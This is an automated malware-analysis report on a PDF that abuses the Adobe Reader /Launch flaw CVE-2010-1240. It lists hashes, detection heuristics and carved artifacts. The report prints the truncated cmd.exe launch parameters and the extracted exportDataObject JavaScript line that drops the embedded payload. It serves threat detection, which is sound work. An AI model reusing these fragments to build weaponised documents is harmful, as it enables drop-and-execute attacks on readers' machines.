Malicious PDF — malware analysis report

Static analysis result for SHA-256 1b7a0590c2a87148…

MALICIOUS

PDF

216.9 KB Created: 2009-09-26 07:34:11 +02:00 Authoring application: Writer (via OpenOffice.org 3.0) First seen: 2026-05-10
MD5: 7ce4b80fceb4ae9c6afe94e3dc644faa SHA-1: c2cbcabd85132efc918f0173ec9d6902476bef5a SHA-256: 1b7a0590c2a871487afd131082e890d53f8e7d58ac2410402b07dcc78bf99a8f
356 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell T1105 Ingress Tool Transfer

The PDF file contains embedded JavaScript and a launch action that exploits CVE-2010-1240 in Adobe Reader. This action executes cmd.exe with parameters designed to download and run a secondary payload. The specific command executed is: cmd.exe /Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "%USERPROFILE%\����\ADMPlugin.apl" (cd/D "%USERPROFILE%\����"). This indicates a downloader or dropper functionality.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9985

Heuristics 10

  • Adobe Reader Launch action command execution critical CVE exact CVE_2010_1240
    PDF uses the Adobe Reader/Acrobat Launch action pattern associated with CVE-2010-1240: cmd.exe is invoked with attacker-controlled parameters, paired with an embedded/exported payload.
  • ClamAV: Pdf.Tool.Agent-1388586 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Tool.Agent-1388586
  • Launch action critical PDF_LAUNCH
    PDF contains a /Launch action whose target is an executable, URL, or UNC path — can start an external application
  • /Launch action target: cmd.exe critical PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/Q /C %HOMEDRIVE%&cd %HOMEPATH%&(if exist "%USERPROFILE%\\����\\ADMPlugin.apl" (cd/D "%USERPROFILE%\\����"' — references a known-dangerous executable (cmd, PowerShell, etc.).
  • /Launch action paired with attachment-dropping JS API high PDF_LAUNCH_PLUS_DROPPER_JS
    PDF combines a /Launch action with a JavaScript API call that writes or opens an attached/external resource — the canonical shape of the CVE-2010-1240 /Launch + exportDataObject family. Benign PDFs do not pair these surfaces; the combination indicates a drop-and-execute chain regardless of the specific JS API knobs or /Launch target.
  • PDF embedded file could not be fully decoded medium PDF_EMBEDDED_FILE_UNDECODED
    A declared PDF /EmbeddedFile stream uses filters that the scanner could not decode. The raw stream was carved for artifact triage because malformed or unsupported attachment filters can hide payload content from normal extraction.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://dejavu.sourceforge.netFonts In extracted file (font_00_sfnt_off00014e11.bin)
    • http://www.monotype.comhttp://www.monotype.com/html/type/license.htmlIn extracted file (font_01_sfnt_off00018873.bin)
    • http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmlUseIn extracted file (font_03_sfnt_off00023149.bin)
    • http://www.ascendercorp.com/liberation.htmlIn extracted file (font_03_sfnt_off00023149.bin)
    • http://dejavu.sourceforge.net/wiki/index.php/LicenseIn extracted file (font_00_sfnt_off00014e11.bin)
    • http://www.monotype.com/html/mtname/ms_couriernew.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONIn extracted file (font_01_sfnt_off00018873.bin)

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 12

Files carved from inside the sample during analysis.

FilenameKindSourceSize
ADMPlugin.apl pdf-embedded-file-undecodable PDF EmbeddedFile object 109 at offset 0x35BFD; filter decode failed 479 bytes
SHA-256: 5f652b4721b3d1b90ddd52861e916b227a7afb13f2058f5e5820f0de19b6d7cc
javascript_obj0110_000.js pdf-javascript-stream PDF /JS object 110 at offset 0x35DEF 58 bytes
SHA-256: 35efbffd979ea858d6d8f7921ee358ca428a1c5a5ff180aba705d55c1f85cc16
Preview script
First 1,000 lines of the extracted script
this.exportDataObject({ cName: "ADMPlugin", nLaunch: 0 });
font_00_sfnt_off00014e11.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x14E11 22612 bytes
SHA-256: 36dfa1c87891f2f09b71980d1399f018c5caad03d1b1d29508739979b9ed4001
font_01_sfnt_off00018873.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x18873 39760 bytes
SHA-256: f027842567b04c926ad746e8dfdc4f8cdd2e3c7e0220264a22bb516569de8c36
font_02_sfnt_off0001e18a.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x1E18A 33672 bytes
SHA-256: da753cc0b5163c9b6666572dbeb35b7b5caf4a56d9c22c99c36835925c000a71
font_03_sfnt_off00023149.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x23149 12752 bytes
SHA-256: 23ac8feb518c8c727acc6a954bb623e333337c9458521aed483fcc8d89f418c1
font_04_sfnt_off0002558e.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2558E 13136 bytes
SHA-256: c8fd7189737c38a43b9ba034337799f502028b5db5a6037bd1df4c486f3233e0
font_05_sfnt_off00027bf4.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x27BF4 27096 bytes
SHA-256: cf699c117fd0bb7368c625645b874f03c477a382b67075e98dd54d87de53958b
font_06_sfnt_off0002ca67.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2CA67 13700 bytes
SHA-256: 34829650519fe758a893e02057f5c7c1070378add027225386180ba60993be24
font_07_sfnt_off0002f2cf.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x2F2CF 14892 bytes
SHA-256: bf36ecd37d117b665b1c68abb1c41fbb1a9d46c2c583bdb8512681835e553b91
font_08_sfnt_off00031db2.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x31DB2 13576 bytes
SHA-256: 37478039963094b7b89fb24df19adb1f5ee171f766ade680ac5516bb23ede59f
font_09_sfnt_off00033c21.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x33C21 1780 bytes
SHA-256: df903f2017d43426972294ce96b065da76255f4a0de84e466c7a4dd6181632c2

Open this report in the interactive analyzer, or submit your own file for analysis.